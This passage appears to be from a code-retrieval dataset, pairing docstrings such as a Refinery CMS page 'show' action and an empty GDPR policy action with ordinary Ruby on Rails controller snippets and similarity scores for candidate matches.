ruby code...\n redirect_to home_path if current_user\n end", "def action; end", "def action; end" ]
[ "0.7531063", "0.7531063", "0.7515997", "0.72867143", "0.7275563", "0.7167966", "0.7167966", "0.7167966", "0.694337", "0.68838537", "0.6827716", "0.6827716", "0.6827716", "0.68201363", "0.67963713", "0.67963713", "0.67963713", "0.67963713", "0.67963713", "0.6764896", "0.6750915", "0.674741", "0.6695021", "0.66562617", "0.6640448", "0.6640448", "0.6640448", "0.6639027", "0.65700394", "0.6552558", "0.6552558", "0.6539685", "0.6530876", "0.64787436", "0.6477244", "0.6477244", "0.6472403", "0.6461786", "0.645516", "0.6450323", "0.6433946", "0.6432832", "0.64235544", "0.64235544", "0.6413909", "0.6392668", "0.63898087", "0.6381612", "0.6381612", "0.6366198", "0.6366198", "0.6366198", "0.6366198", "0.6366198", "0.6366198", "0.63615495", "0.6358043", "0.6352816", "0.634038", "0.6336356", "0.63347113", "0.6327597", "0.6327597", "0.6327597", "0.6327597", "0.6327597", "0.6327597", "0.6327597", "0.6327597", "0.6327597", "0.6327597", "0.6327597", "0.63110226", "0.6308394", "0.63011974", "0.63011974", "0.6300068", "0.6295873", "0.6280252", "0.62771505", "0.6275484", "0.6269827", "0.62684315", "0.62635744", "0.62635744", "0.62635744", "0.62635744", "0.62635744", "0.62635744", "0.62635744", "0.62635744", "0.62635744", "0.62635744", "0.6259052", "0.6259052", "0.6245585", "0.62448364", "0.6242239", "0.62406653", "0.62311506", "0.62311506" ]
0.0
-1
This action can be accessed normally, or as nested pages. Assuming a page named "mission" that is a child of "about", you can access the pages with the following URLs: GET /pages/about GET /about GET /pages/mission GET /about/mission
def show if should_skip_to_first_child? redirect_to refinery.url_for(first_live_child.url) and return elsif page.link_url.present? redirect_to page.link_url and return elsif should_redirect_to_friendly_url? redirect_to refinery.url_for(page.url), :status => 301 and return end render_with_templates? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def pages\n end", "def site_pages \n Rails.application.reload_routes!\n page_routes = Rails.application.routes.routes.select do |route|\n route.verb == \"GET\" && !route.name.blank? && !route.name.match(/^edit/) && !route.name.match(\"translat\") && !route.name.match(\"external_author\")\n end\n\n @paths = []\n @errors = []\n @errors << \"Skipping translation and external author pages because these areas are in-progress.\"\n\n page_routes.each do |r|\n path = r.path.split('(').first\n while (path.match(/:([^\\/]+)_id\\//)) do\n id = get_id(path, current_user, $1.singularize)\n if id\n path.gsub!(\":#{$1}_id\", \"#{id}\") if id\n @last_id = id\n else\n @errors << \"Couldn't find object for #{path}, #{$1}\"\n break\n end\n end\n\n if (path.match(/\\/([^\\/]+)\\/:id/))\n id = get_id(path, current_user, $1.singularize)\n if id\n path.gsub!(\":id\", \"#{id}\")\n @last_id = id\n else\n @errors << \"Couldn't find object for #{path}, id\"\n end\n end\n\n @paths << [path, r.name]\n end\n \n render :action => \"site_pages\", :layout => \"application\"\n end", "def page\n\n end", "def pages()\n get('subAccountPages')\n end", "def mission(page)\n\tend", "def pages; end", "def about\n # Static Page\n end", "def set_page\n @page = Page.published.friendly.find(params[:id])\n @sections = @page.sections.published.sorted\n @subpages = @page.subpages.published.sorted\n end", "def index\n @pages = @parent_page.children\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pages }\n end\n end", "def index #This is the ACTION 'index', accessed via /manage/pages, as opposed to the STUB 'index', accessed via /pages\n restrict('allow only admins') or begin\n @pages = Page.find(:all)\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @pages.to_xml }\n end\n end\n end", "def children\n @pages = @page.children\n \n respond_to do |format|\n format.json { render :json => @pages }\n format.xml { render :xml => @pages }\n end\n end", "def show\n @page = if params[:path]\n Page.find(params[:path].split('/').last, :include => [:parts, :slugs])\n else\n Page.find(params[:id], :include => [:parts, :slugs])\n end\n\n if @page.try(:live?) or\n (refinery_user? and\n current_user.authorized_plugins.include?(\"refinery_pages\"))\n # if the admin wants this to be a \"placeholder\" page which goes to its first child, go to that instead.\n if @page.skip_to_first_child\n first_live_child = @page.children.find_by_draft(false, :order => \"position ASC\")\n redirect_to first_live_child.url if first_live_child.present?\n end\n else\n error_404\n end\n end", "def about\n @about_object = instance_variable_get(\"@#{controller_name.singularize}\")\n render template: \"/dash/base/about\"\n end", "def about\n @current_nav_identifier = :about\n params[:name] = @current_nav_identifier\n set_page\n render 'show'\n end", "def sub_view\n page(NavTabBarPage).select_storytab(\"Action\")\n page(NavTabBarPage).flag_handler(\"Cancel\")\n page(NavTabBarPage).select_storytab(\"Action\")\n page(NavTabBarPage).sub_handler\n page(SubmissionPage).verify_page_elements\n page(SubmissionPage).select_action(\"Submissions\")\n page(SubmissionPage).select_action(\"Comments\")\n page(MorePage).backpage\n end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def index\n @pages = @club.all_pages\n \n @page_title = \"Page Listing\"\n @site_section = \"clubs\"\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pages }\n end \n end", "def index\n @cms_pages = current_portal.pages\n end", "def new\n @page = Page.new\n @pagelist = @club.all_pages\n \n @page_title = \"New Page\"\n @site_section = \"admin\"\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end", "def index\n @root_pages = Page.root_pages\n @uncategorized_pages = Page.uncategorized\n end", "def route\n # Page exists?\n if @node and @node.has_page?\n # Redirect to This Item's first category listing if it exists. To ensure the menus display correctly\n if @node.page_type=='Item' and @node.page.has_better_url?\n redirect_to shortcut_path(:shortcut => @node.page.better_url, :display_item => @node.page_id)\n return false\n else\n page_type = (@node.page_type == 'ItemCategory' ? 'Item' : @node.page_type)\n @item = Item.find(params[:display_item]) unless params[:display_item].blank?\n #render(\"#{page_type.tableize.pluralize}/show\", :layout => @node.layout)\n #render :action => \"#{page_type.tableize.pluralize}/show\", :layout => @node.layout\n render_page_from_node(\"#{page_type.tableize.pluralize}/show\", @node.layout)\n end\n else\n return error_redirect\n end\n end", "def to_page\n \n u = User.find_by_login(authorid)\n \n UserActionObserver.current_user = u\n \n page = Page.new(\n :title => title,\n :created_at => lastmod,\n :updated_at => lastmod,\n :slug => url_title,\n :status => Status[:published],\n :breadcrumb => title,\n :published_at => posted, \n :enable_comments => annotate.to_s,\n :keywords => keywords,\n :created_by => u,\n :updated_by => u\n )\n \n page.parts << PagePart.new(:name => 'body', :filter_id => \"Textile\", :content => body )\n page.parts << PagePart.new(:name => 'intro', :filter_id => \"Textile\", :content => body.split(/\\r\\n\\s*\\r\\n/).first)\n \n page\n end", "def show\n @page = Page.find(\"#{params[:path]}/#{params[:id]}\".split('/').last)\n\n if @page.try(:live?) || (refinery_user? && current_user.authorized_plugins.include?(\"refinery_pages\"))\n # if the admin wants this to be a \"placeholder\" page which goes to its first child, go to that instead.\n if @page.skip_to_first_child && (first_live_child = @page.children.order('lft ASC').live.first).present?\n redirect_to first_live_child.url and return\n elsif @page.link_url.present?\n redirect_to @page.link_url and return\n end\n else\n error_404\n end\n end", "def show\n @page = Page.find(\"#{params[:path]}/#{params[:id]}\".split('/').last)\n\n if @page.try(:live?) || (refinery_user? && current_user.authorized_plugins.include?(\"refinery_pages\"))\n # if the admin wants this to be a \"placeholder\" page which goes to its first child, go to that instead.\n if @page.skip_to_first_child && (first_live_child = @page.children.order('lft ASC').live.first).present?\n redirect_to first_live_child.url and return\n elsif @page.link_url.present?\n redirect_to @page.link_url and return\n end\n else\n error_404\n end\n end", "def show\n @page = @project.pages.find_by_slug(params[:id])\n \n render :layout => 'pages'\n end", "def page\n # get the id parameter, which can be either a page ID # or a page name\n @page_id = params[:id]\n raise \"static page without id\" if @page_id.blank?\n\n unless read_fragment(:controller => 'content', :part => @page_id + \"_\" + current_user.language_abbr)\n if @page_id.is_int?\n @content = ContentPage.find_by_id(@page_id)\n else # assume it's a page name\n page_name = @page_id.gsub(' ', '_').gsub('_', ' ')\n @content = ContentPage.find_by_page_name(page_name)\n end\n\n if @content.nil?\n raise \"static page content #{@page_id} for #{current_user.language_abbr} not found\"\n else\n @navigation_tree_breadcrumbs = ContentPage.get_navigation_tree_with_links(@content.id)\n current_language = Language.from_iso(current_user.language_abbr)\n @translated_content = TranslatedContentPage.find_by_content_page_id_and_language_id(@content.id, current_language.id)\n if @translated_content.nil?\n @page_title = I18n.t(\"cms_missing_content_title\")\n @translated_pages = TranslatedContentPage.find_all_by_content_page_id(@content.id)\n else\n @page_title = @translated_content.title\n end\n\n end\n\n\n\n # if this static page is simply a redirect, then go there\n current_user.log_activity(:viewed_content_page_id, :value => @page_id)\n end\n end", "def show\n if params[:id] == \"_home\" and !current_cms.navigations.empty?\n @page = current_cms.navigations.first.pages.order(:created_at).first\n elsif params[:id] == \"_home\" and current_cms.pages and @page = current_cms.pages.find_by_title(\"index\")\n # no op. @page is set.\n elsif params[:id] == \"_home\" and current_cms.pages\n @page = current_cms.pages.order(:created_at).first\n elsif params[:id].match(/\\D/)\n # TODO: 2011-01-11 <tony+bigcms@tonystubblebine.com> -- this hacked finder implies that I should be storing slug.\n @page = current_cms.pages.to_a.find{|a| a.slug == params[:id]}\n else\n @page = current_cms.pages.find(params[:id])\n end\n\n render(:status => 403, :text => \"Not allowed.\") unless current_user or @page.allow_public_views?\n\n respond_to do |format|\n format.html do \n return render :text => render_liquid(current_layout.content, 'content_for_layout' => render_liquid(@page.content))\n end\n format.xml { render :xml => @page }\n format.css { render :layout => false }\n format.js { render :layout => false }\n end\n end", "def get_page\n render_page_sections_json\n end", "def show\n # @body_class = \"pages #{params[:slug].parameterize}\"\n \n if File.exists?(Rails.root.join(\"app\", \"views\", \"pages\", \"#{params[:slug]}.html.erb\"))\n render :action => params[:slug]\n else\n @page = Page.find_by_slug(params[:slug])\n if @page.nil?\n redirect_to root_path\n else\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @page }\n end\n end\n end\n \n end", "def index\n #Nested resources only displayed in the context of its parent patient\n redirect_to(root_url)\n end", "def pages_path\n @pages_path || root / 'pages'\n end", "def show\n @lesson = current_user.organization.lessons.find(params[:id], :include => :pages)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lesson }\n end\n end", "def index\n @pages = current_cms.pages.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pages }\n end\n end", "def show\n @page = Page.find(params[:id])\n #this is how we find every page by its id\n end", "def show\n @about_page = AboutPage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @about_page }\n end\n end", "def index\n @pages = @comic.pages\n \n respond_to do |format|\n format.html\n format.xml\n end\n end", "def show\n @page = @club.pages.find(params[:id])\n @page_title = @page.title\n @site_section = \"clubs\"\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @page }\n end\n end", "def new\n redirect_to lato_pages.pages_path\n end", "def my_articles\n @pages = current_user.pages\n\n end", "def show\n @page = @offering.pages.find(params[:id])\n session[:breadcrumbs].add \"#{@page.title}\"\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @page }\n end\n end", "def get\n respond_to_html { render \"page/#{@request.id}.html\" }\n end", "def show\n @subject = Subject.find(params[:subject_id])\n @page = Page.find(params[:id])\n @pageable = @page.pageable\n @question = @pageable.id\n @instruction = @pageable.id\n end", "def index\n get_own_lessons\n if @page > @pages_amount && @pages_amount != 0\n @page = @pages_amount\n get_own_lessons\n end\n render_js_or_html_index\n end", "def index\n return check_logged_in unless current_user\n @pages = current_user.pages\n end", "def render\n @case = Case.find(self.case_id)\n @page_path = Page.find(self.page_id).path\n end", "def show\n @page = Page.find(params[:id])\n @section = @page.section\n\n respond_to do |format|\n format.html { render :template => 'sections/show' }\n format.xml { render :xml => @page }\n end\n end", "def about\n respond_to do |format|\n format.html { render :about }\n end\n end", "def page\n obj\n end", "def show\n # Find the page by the newer 'path' or fallback to the page's id if no path.\n @page = Page.find(params[:path] ? params[:path].to_s.split('/').last : params[:id])\n\n if @page.try(:live?) or (refinery_user? and current_user.authorized_plugins.include?(\"refinery_pages\"))\n # if the admin wants this to be a \"placeholder\" page which goes to its first child, go to that instead.\n if @page.skip_to_first_child and (first_live_child = @page.children.order('lft ASC').where(:draft=>false).first).present?\n redirect_to first_live_child.url\n end\n else\n error_404\n end\n end", "def page\n redirect_to :action => 'copyright'\n end", "def page_view(title, page, utmhid = random_id)\n check_account_params\n hey(page_view_params(title, page, utmhid))\n end", "def pages\n get(\"v1/event/#{@id}/pages\")\n end", "def home\n @events = Event.published.confirmed.ordered.tease\n @teaser = Teaser.current.limit(1).first\n @sponsors = Sponsor.order(\"position\").all\n @about = Content.find_by_id(6)\n @donate = Content.find_by_id(7)\n render :layout => \"homepage\"\n end", "def index\n @page = display_page('Admin')\n \n respond_to do |format|\n format.html\n end\n end", "def index\n @cms_pages = Cms::Page.all\n end", "def show\n page = Page.where(id: params[:id]).with_hierarchy.first\n redirect_to(controller: 'application', action: 'route_not_found') if page.nil?\n @page = PageDecorator.decorate(page)\n @page_title = @page.name\n # get_media # NOTE: we're not *currently* showing them, but we will.\n # TODO: we should really only load Associations if we need to:\n build_associations(@page.data)\n # Required mostly for paginating the first tab on the page (kaminari\n # doesn't know how to build the nested view...)\n respond_to do |format|\n format.html {}\n end\n end", "def about; render; end", "def show\n if Gluttonberg::Member.enable_members == true\n return unless require_member\n unless current_member.does_member_have_access_to_the_page?(page)\n raise CanCan::AccessDenied\n end \n end\n \n template = page.view\n template_path = \"pages/#{template}\"\n \n if File.exists?(File.join(Rails.root, \"app/views/pages/#{template}.#{locale.slug}.html.haml\" ) )\n template_path = \"pages/#{template}.#{locale.slug}\"\n end \n \n # do not render layout for ajax requests\n if request.xhr?\n render :template => template_path, :layout => false\n else\n render :template => template_path, :layout => page.layout\n end\n end", "def show\n render(page_path)\n end", "def index\n unless params[:type]\n @page = Page.find_by_permalink(\"production\", :order => \"position ASC\")\n #@page_ids = []\n else\n @page = Page.find_by_permalink(\"accessories\", :order => \"position ASC\")\n #@items = Item.find_by_page_id(params[:page_id])\n end\n\n #respond_to do |wants|\n # wants.html # index.html.erb\n # # wants.xml { render :xml => @items }\n # end\n end", "def page()\n session[:edit_mode] ||= 0\n# Initialize parts\n @parts = nil\n @js, @css = '', ''\n# find domain name in sites\n @site = dc_get_site\n# site is not defined. render 404 error\n return dc_render_404('Site!') if @site.nil?\n dc_set_options(@site.settings)\n# HOMEPAGE. When no parameters is set\n params[:path] = @site.homepage_link if params[:id].nil? and params[:path].nil?\n# Search for page \n pageclass = @site.page_table.classify.constantize\n if params[:id]\n @page = pageclass.find_by(subject_link: params[:id])\n elsif params[:path]\n# path may point direct to page's subject_link\n @page = pageclass.find_by(subject_link: params[:path])\n end\n# if @page is not found render 404 error\n return dc_render_404('Page!') unless @page\n dc_set_options @page.params\n# find design if defined. Otherwise design MUST be declared in site\n if @page.dc_design_id\n @design = DcDesign.find(@page.dc_design_id)\n return dc_render_404('Design!') unless @design\n end\n# Add to edit menu\n if session[:edit_mode] > 0\n session[:site_id] = @site.id\n session[:site_page_table] = @site.page_table\n session[:page_id] = @page.id\n end\n# perform check every hour. Perhaps if user has rights changes\n session[:last_check] ||= Time.now\n if (session[:last_check] - Time.now) > 3600\n # perform checks\n # TO BE DONE\n \n # update time\n session[:last_check] = Time.now\n end \n @page_title = @page.subject.empty? ? @site.page_title : @page.subject\n get_design_and_render @design\nend", "def show\n if admin?\n @page = Page.find_by_slug(params[:id]) \n else\n @page = Page.published.find_by_slug(params[:id]) \n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @page, :only => [:title, :content] }\n end\n end", "def show\n @title = \"Page\"\n begin\n @page = Page.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n redirect_to admin_pages_path, :flash => {:notice => \"Page not found\"}\n end\n end", "def index\n @page_sections = PageSection.all\n end", "def index\n @story_pages = StoryPage.all\n end", "def index\n @containers_pages = @page.containers_pages\n end", "def index\n @about_pages = AboutPage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @about_pages }\n end\n end", "def show\n @nested_page = Nested::Page.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nested_page }\n end\n end", "def page; self end", "def parser_url\n @pages_tree = session[:pages_tree]\n @pages_menu = session[:pages_menu]\n page_id = @pages_tree.index(\"/\" + params[:url].to_s)\n if page_id.nil?\n respond_to do |format|\n format.html { redirect_to @pages_tree[((Page.where([\"parent_id is NULL\"])).minimum(:id)).to_s], notice: \"Page #{params[:url].to_s} not exists.\" }\n end\n else\n @page = Page.find(page_id)\n end\n end", "def show\n @pages = Page.find(params[:id])\n #renders show.html.erb\n end", "def show\n @section = Section.find(params[:id])\n\t\t@page = @section.pages[0]\n end", "def show\n provides :xml, :json\n \n @page = Page[:id => params[:id]] || Page[:slug => params[:id]]\n \n if content_type == :html\n render\n else\n display @page\n end\n end", "def set_page\r\n @page = Page.friendly.find(params[:id])\r\n end", "def show\n page = params[:page]\n puts \"the page is#{page}\"\n render \"statics#{page}\"\n end", "def index\n @pages = @offering.pages.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pages }\n end\n end", "def fetch\n self.get(:pages).each do |attributes|\n page = self.add(attributes['fullpath'], attributes)\n\n self.mounting_point.locales[1..-1].each do |locale|\n # if not translated, no need to make an api call for that locale\n next unless page.translated_in?(locale)\n\n Locomotive::Mounter.with_locale(locale) do\n localized_attributes = self.get(\"pages/#{page._id}\", locale)\n\n # remove useless non localized attributes\n localized_attributes.delete('target_klass_slug')\n\n # isolate the editable elements\n editable_elements = self.filter_editable_elements(localized_attributes.delete('editable_elements'))\n\n page.attributes = localized_attributes\n\n page.set_editable_elements(editable_elements)\n end\n end\n end\n end", "def set_cms_page\n @cms_page = current_portal.pages.friendly.find(params[:id])\n end", "def set_page\n if @current_website.present?\n begin\n @page = @current_website.pages.find_by(slug: params[:id])\n if !@page.present?\n @page = @current_website.pages.friendly.find(params[:id])\n end\n rescue\n redirect_to '/', status: 404, notice: 'This is not the page you are looking for...move along.'\n end\n else\n redirect_to '/'\n end\n @resource = @page\n end", "def index\r\n @pages = Page.published\r\n # @projects = @categories.map { |x| x.projects.published }.flatten.sort_by { |x| x.created_at }\r\n @page_title = Page.model_name.human&.pluralize\r\n end", "def new\n @root_pages = [fetch_root_page].flatten\n if request.post?\n @page = ComatosePage.new params[:page]\n @page.author = fetch_author_name\n if @page.save\n flash[:notice] = \"Created page '#{@page.title}'\"\n redirect_to :controller=>self.controller_name, :action=>'index'\n end\n else\n @page = ComatosePage.new :title=>'New Page', :parent_id=>(params[:parent] || nil)\n end\n end", "def show\n \t\tpath = params[:path]\n \t\t@page = Page.find(:path => path)\n \t\tif @page\n \t\trespond_to do |format|\n \t\t\tformat.html do\n \t\t\t\t@page.layout_template && self.class.layout(@page.layout_template)\n \t\t\tend\n \t\t\tformat.xml do\n \t\t\t\t@pages = @page.children\n \t\t\t\trender :action => \"index\"\n \t\t\tend\n \t\tend\n \t\telse\n \t\t error\n \t\tend\n \tend", "def index\n @pages = Page.includes(:user)\n end", "def process_pages\n bindings = {\n :name => @definition.get_name,\n :version => @definition.get_version\n }\n\n page = Calamum::DocGenerator.new(:view)\n @definition.resources.each do |methods|\n methods[1].each do |resource|\n bindings.merge!(:resource => resource)\n filename = \"#{resource.slug}.html\"\n page.save_template(filename, bindings)\n end\n end\n end", "def index\n @admin_pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end", "def edit\n\n # find page with given ID\n #@page = Page.find(params[:id])\n @page = Page.find_by_slug_or_id(params[:path], params[:id])\n\n if @page.nil?\n\n raise ActiveRecord::RecordNotFound\n\n else\n\n #retrieving layout id from params and assigning to a variable\n @layout = @page[\"layout_id\"]\n\n end # end if\n\n # calling method to find all pages and page parts\n find_pages_and_parts(@layout)\n\n #sends data in different formats\n respond_to do |format|\n\n format.html{render :template => 'mcms_pages/admin/pages/edit'}# edit.html.erb\n format.json { render json: @page }\n\n end # end respond_to block\n\n end", "def show\n @page = @site.pages.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @page }\n end\n end", "def root\r\n if can? :read, :landing\r\n redirect_to(:controller => 'landing', :action => 'index') and return\r\n end\r\n [Enrollment, Professor, ScholarshipDuration, Phase, Course, City, User, Student].each do |model|\r\n if can? :read, model\r\n redirect_to(:controller => model.name.underscore.pluralize.downcase, :action => 'index') and return\r\n end\r\n end\r\n end", "def get_page(page = 1)\n add_actions \"GoToPage(#{page})\"\n end", "def index\n\t\t@section = 'pages'\n\t\t@key = params[:key]\n\t\tif params[:id] and params[:id].to_i > 0\n\t\t\t@page = Page.find(params[:id], :include=>[:children, :path])\n\t\t\t@pages = @page.children\n\t\t\t@key = nil\n\t\t\t@page_title = \"Site Index: #{@page.title}\"\n\t\telsif !(@key.blank?)\n\t\t\t@page = nil\n\t\t\t@pages = Page.find(:all,\n\t\t\t\t:conditions=>Page.search_conditions({:key=>@key, :u=>current_user}),\n\t\t\t\t:order=>Page.default_order, :include=>Page.default_include)\n\t\t\t@page_title = \"Site Index: ‘#{params[:key]}’\"\n\t\telse\n\t\t\t# find all top-level pages\n\t\t\t@page = nil\n\t\t\t@pages = Page.find_homes\n\t\t\t#if @page\n\t\t\t#\tconditions = ['(pages.parent_id IS NULL OR pages.parent_id = ?) AND pages.id != ?',\n\t\t\t#\t\t@page.id, @page.id]\n\t\t\t#else\n\t\t\t#\tconditions = ['pages.parent_id IS NULL']\n\t\t\t#end\n\t\t\t#@pages = Page.find(:all,\n\t\t\t#\t:conditions=>conditions,\n\t\t\t#\t:order=>'pages.title',\n\t\t\t#\t:include=>:children)\n\t\t\t@page_title = \"Site Index\"\n\t\tend\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.js { render :action=>'index_sublist', :layout=>false }\n\t\t\tformat.xml { render :xml => @pages.to_xml }\n\t\tend\n\tend" ]
[ "0.67851895", "0.64786476", "0.6406917", "0.63388294", "0.63023776", "0.628124", "0.62661594", "0.6212805", "0.6209668", "0.6202497", "0.61961836", "0.6161291", "0.6130504", "0.6095448", "0.60627615", "0.6053716", "0.6053716", "0.6053716", "0.6053716", "0.6053716", "0.6053716", "0.6053716", "0.6053716", "0.6053716", "0.6053716", "0.6053716", "0.6053716", "0.6034949", "0.6012753", "0.59744847", "0.5909429", "0.5889489", "0.58715254", "0.58325046", "0.58325046", "0.58212316", "0.58172244", "0.5808307", "0.5803239", "0.5786841", "0.577575", "0.5757849", "0.57409096", "0.572992", "0.56974006", "0.569698", "0.5692616", "0.56844676", "0.5677922", "0.56767553", "0.56761074", "0.5662656", "0.5662131", "0.56599814", "0.56502503", "0.564643", "0.56442875", "0.563422", "0.5633971", "0.56254554", "0.56211644", "0.5620177", "0.5618667", "0.56092745", "0.56089157", "0.56042546", "0.56018275", "0.5600085", "0.55967903", "0.5586287", "0.5576296", "0.556968", "0.5568504", "0.5553853", "0.5552465", "0.55524427", "0.55523354", "0.554498", "0.554376", "0.55407465", "0.55370426", "0.5530453", "0.55232656", "0.5522709", "0.55223244", "0.5521706", "0.55168664", "0.5516013", "0.55136997", "0.5504548", "0.5498238", "0.5497422", "0.5496712", "0.54965866", "0.5495486", "0.5494472", "0.5488511", "0.54804593", "0.54796857", "0.5472864", "0.54722774" ]
0.0
-1
Action to show GDPR policies Author: Pankaj Date: 24/05/2018 Reviewed By:
def gdpr_policy end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @approval = Approval.find(params[:id])\n @recommendation = Recommendation.find(@approval.recommendation_id)\n @approvals = @recommendation.approvals.find(:all, :order => \"created_at ASC\")\n @rec_user = User.find(@recommendation.user_id)\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end", "def show_policies\n\t\tputs \"asddmas\"\n\tend", "def show\n @owner_id = @product.originaluser_id \n # @reviews = Review.where('owner_id = ?', @owner_id)\n @reviews = Review.where('owner_id = ?', @owner_id).where('reviews.approved = ?', true)\n \n # Review.joins(:user).where('reviews.approved = ?', true).where('users.id = ?', @owner_id)\n end", "def show\n @applied_bookings = policy_scope(current_user.bookings).order(created_at: :desc)\n @received_bookings = policy_scope(current_user.received_bookings).order(created_at: :desc) \n end", "def show\n @proposal = Proposal.find(params[:id])\n @amendments = @proposal.amendments.order(confidence: :desc)\n @comments = @proposal.comments.order(confidence: :desc)\n end", "def approve\n params[:tab] = 'pending'\n @page_title = @owner ? \"Approve #{@owner.display_name.titleize}'s Items\" : 'Approve Items'\n @menu_title = \"Review Item\"\n\n index\n end", "def index\n @rentals = policy_scope(Rental).order(created_at: :desc)\n end", "def show\n if !current_user.admin\n redirect_to root_path\n end\n @submission = @recommendation.submission\n end", "def show\n\n authorize @cov_pdp\n end", "def show\n\n authorize @cov_odp_processed\n end", "def show\n @policy = Policy.find(params[:id])\n @policy_due = PolicyDue.new\n end", "def review_committee_decision\n application_review_decision_type.title if application_review_decision_type\n end", "def index\n @bookings = policy_scope(current_user.bookings)\n authorize @bookings\n @experiences = policy_scope(current_user.experiences)\n authorize @experiences\n end", "def show\n @user_story_acceptance_criterions = @user_story.user_story_acceptance_criterions\n end", "def review\n end", "def show\n @organization = Organization.find(params[:id])\n \n authorize! :show, @organization\n \n @reviews = @organization.reviews.reverse_chronological.paginate(:page => params[:page])\n\n @review = Review.new\n @review.organization = @organization\n @review.condition_id = 0\n \n @title = @organization.name\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @organization }\n end\n end", "def list\n @reviews = current_user.organization.reviews\n end", "def show\n authorize @cov_odp\n end", "def policies; end", "def review; end", "def review\n @review\n end", "def review\n # unapproved post viewer\n # MAKE ADMIN ONLY\n @posts = Post.order(\"approved, created_at desc\")\n .paginate(per_page: 7, page: params[:page])\n end", "def index\n @reputations = Reputation.where(user: current_user, status: 'Active')\n end", "def view_reviews\n @submission = Submission.find(params[:id])\n @questions = @submission.assignment.questions.sort_by {|obj| obj.created_at }\n evaluation = @evaluations.where(:user_id => current_user.id)[0]\n @responses = @evaluations[0].responses.sort_by {|obj| obj.created_at }\n\n respond_to do |format|\n format.html { render view, :layout => 'no_sidebar' } # show.html.erb\n format.json { render json: @submission }\n end\n end", "def show\n @reviews = Review.where(project_id: @project.id).order(\"created_at DESC\")\n end", "def show\n @explore_ratings = @guide.profile.explore_ratings\n @guide_ratings = @guide.profile.guide_ratings\n @projects = @guide.profile.projects\n end", "def index\n\n if current_user.profile.profile_rank == 'High'\n @approvals = Approval.where(approval_type: ['Noted', 'Approved']).order(:approval_type, :approved, policy_resolution_id: :desc).page(params[:page]).per(10)\n elsif current_user.profile.profile_rank == 'Medium'\n @approvals = Approval.where(approval_type: ['Reviewed', 'Noted']).order(:approval_type, :approved, policy_resolution_id: :desc).page(params[:page]).per(10)\n else\n @approvals = Approval.where(approval_type: 'Reviewed').order(:approval_type, :approved, policy_resolution_id: :desc).page(params[:page]).per(10)\n end\n \n end", "def index\n @pagy, @funds = pagy(policy_scope(Fund).order(created_at: :desc))\n authorize @funds\n end", "def show\n @relatorio_pedagogicos = RelatorioPedagogico.all\n authorize @relatorio_pedagogicos\n end", "def display_personal_info_and_disclaimer\n display_personal_information()\n display_disclaimer()\n end", "def approved_by\n if approved?\n I18n::t(:dean, :scope => [:model, :plan])\n elsif approval\n approval.approved_by\n end\n end", "def index\n @esps = policy_scope(@shop.esps)\n authorize @esps\n #binding.pry\n #binding.pry\n end", "def show\n authorize @adoc_name\n end", "def preview\n @user = current_user\n @postings = Posting.all.sort_by {|p| [p.created_at.to_date, p.vote_score]}.reverse.first(3)\n end", "def index\n @user_reviews = UserReview.all.order(:rate_period).page(params[:page])\n end", "def reviewed_by\n return @reviewed_by\n end", "def display_disclaimer()\n # Display Disclaimer\n puts 'The contents of this class must not be considered an offer,'\n puts 'proposal, understanding or agreement unless it is confirmed'\n puts 'in a document signed by at least five blood-sucking lawyers.'\n end", "def my_reviews\n @owner = current_user\n @reviews = Review.find(:all, :conditions => [\"user_id = ?\", @owner.id])\n render :action => \"index\"\n end", "def show\n authorize @rental\n end", "def show\n @proposal = IlpProposal.find(params[:id])\n\t\t@provinces = Province.order(\"name\").where(\"only_circunscription = ?\", false)\n\t\t@signature = @proposal.attestors_signatures.new(params[:signature])\n\t\t@title = @proposal.problem\n\t\t\n share_texts(@proposal)\n\t\t\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @proposal }\n end\n end", "def index\n @bookings = policy_scope(Booking.where(user_id: current_user.id))\n end", "def show\n unless admin?\n unless @project.approved\n redirect_to projects_path, notice: 'Project is not approved yet.'\n end\n end\n @awards = Award.all.order(:id)\n end", "def index\n @politician_approvals = PoliticianApproval.all\n end", "def generate_reviewer_selection_list()\n self.design_review_results.sort_by { |rr| rr.role.display_name }\n end", "def index\n @policies = Policy.all\n end", "def review(rating)\n user = User.new\n user.read_creddentials\n user.login\n response = user.review rating\n if response\n puts 'Last food reviewed!'\n else\n puts 'Nothing to review'\n end\n end", "def show\n if(session[:user]==nil)\n redirect_to \"/login\" and return\n end\n \n check=Auth.where(:username =>session[:user]).select('DISTINCT ON (username) *').pluck(:role)\n if(check[0]=='S' or check[0]=='Student' )\n redirect_to studet_path(check,:uin =>session[:user]) and return\n end\n if params[:uin] == nil\n params[:uin] = session[:pdf_user]\n end\n \n @detail=Review.rev_func(params[:uin]).select('DISTINCT ON (reviews.user_id,reviews.year) *').limit(1)\n @revs=Review.rev_func(params[:uin]).select('DISTINCT ON (reviews.user_id,reviews.year) *')\n temp=@detail.pluck(:user_id)\n temp2=User.where(:uin => 